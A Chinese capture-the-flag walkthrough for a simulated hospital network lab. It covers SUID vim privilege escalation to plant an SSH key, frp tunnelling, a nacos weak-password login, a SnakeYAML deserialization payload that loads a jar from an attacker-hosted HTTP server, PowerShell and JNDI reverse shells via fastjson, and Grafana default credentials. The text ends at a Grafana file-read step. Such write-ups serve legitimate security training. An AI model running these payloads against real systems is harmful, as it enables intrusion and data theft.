春秋云境-Hospital

本文最后更新于:7 天前

靶标介绍:

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

尝试suid提权

1
2
/home/app/ >find / -user root -perm -4000 -print 2>/dev/nul
/bin/sh: 1: cannot create /dev/nul: Permission denied
GRADLE

那就换个没有/dev/null的,vim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/home/app/ >find / -user root -perm -4000 -exec ls -ldb {} \;

-rwsr-sr-x 1 root root 2910952 Oct 6 2023 /usr/bin/vim.basic
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/su
-rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp
-rwsr-xr-- 1 root stapusr 224496 Mar 17 2022 /usr/bin/staprun
-rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 May 30 2023 /usr/bin/umount
-rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn
-rwsr-xr-- 1 root stapusr 207832 Mar 17 2022 /usr/bin/stapbpf
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55528 May 30 2023 /usr/bin/mount
-rwsr-xr-x 1 root root 473576 Aug 5 2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
TAP

vim提权

ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa生成密钥对

wq!强行写入公钥

ssh使用私钥连接上,在根目录读到flag1

查看网络状态

frp搭下内网隧道

这里实际上可以不用自己的公网vps做server,这里端口是可以自由开放的,所以直接使用靶机作为server&client即可搭建通往内网的代理

nacos/nacos弱口令进后台

使用hessian注入内存马失效,使用yaml反序列化

https://github.com/artsploit/yaml-payload/

源码下载下来后修改src/artsploit/AwesomeScriptEngineFactory.java中命令执行的部分

这里用hackertools给出的powershell反弹shell

然后编译打包

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
AWK

将生成的yaml-payload.jar放在web1机子上,起http服务

然后在编辑配置处发布payload

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://172.30.12.5:7000/yaml-payload.jar"]
]]
]
ERLANG-REPL

因为环境不出网,在第一台机子靶机起监听

收到shell,并且是system权限

到Administrator的用户目录下直接读取flag2

或者后面看到网上有另一种普遍的做法,直接添加admin用户组的用户

然后rdp登录

在fscan的扫描结果中,发现了还有个236网段的8080应用,因为都叫医院后台管理平台所以之前直接忽略了,,再仔细看一眼发现和前面的那个不一样

登录的时候看一眼请求,json格式

结合题目的fastjson的tag直接尝试

果真

在靶机上传入jndi-payload的工具,起反弹shell的服务

直接打payload

收到shell,在root下读到第三个flag

留公钥之后查看网络状态,两张网卡

前面使用web1的靶机作为server,因此这里不需要搭建双层代理那么麻烦,当然如果端口无法自由开放,必须得用自己的公网vps那就老老实实麻烦点,做个两层转发吧

http://172.30.54.12:3000/存在Grafana服务

admin/admin登录进后台

存在插件任意文件读取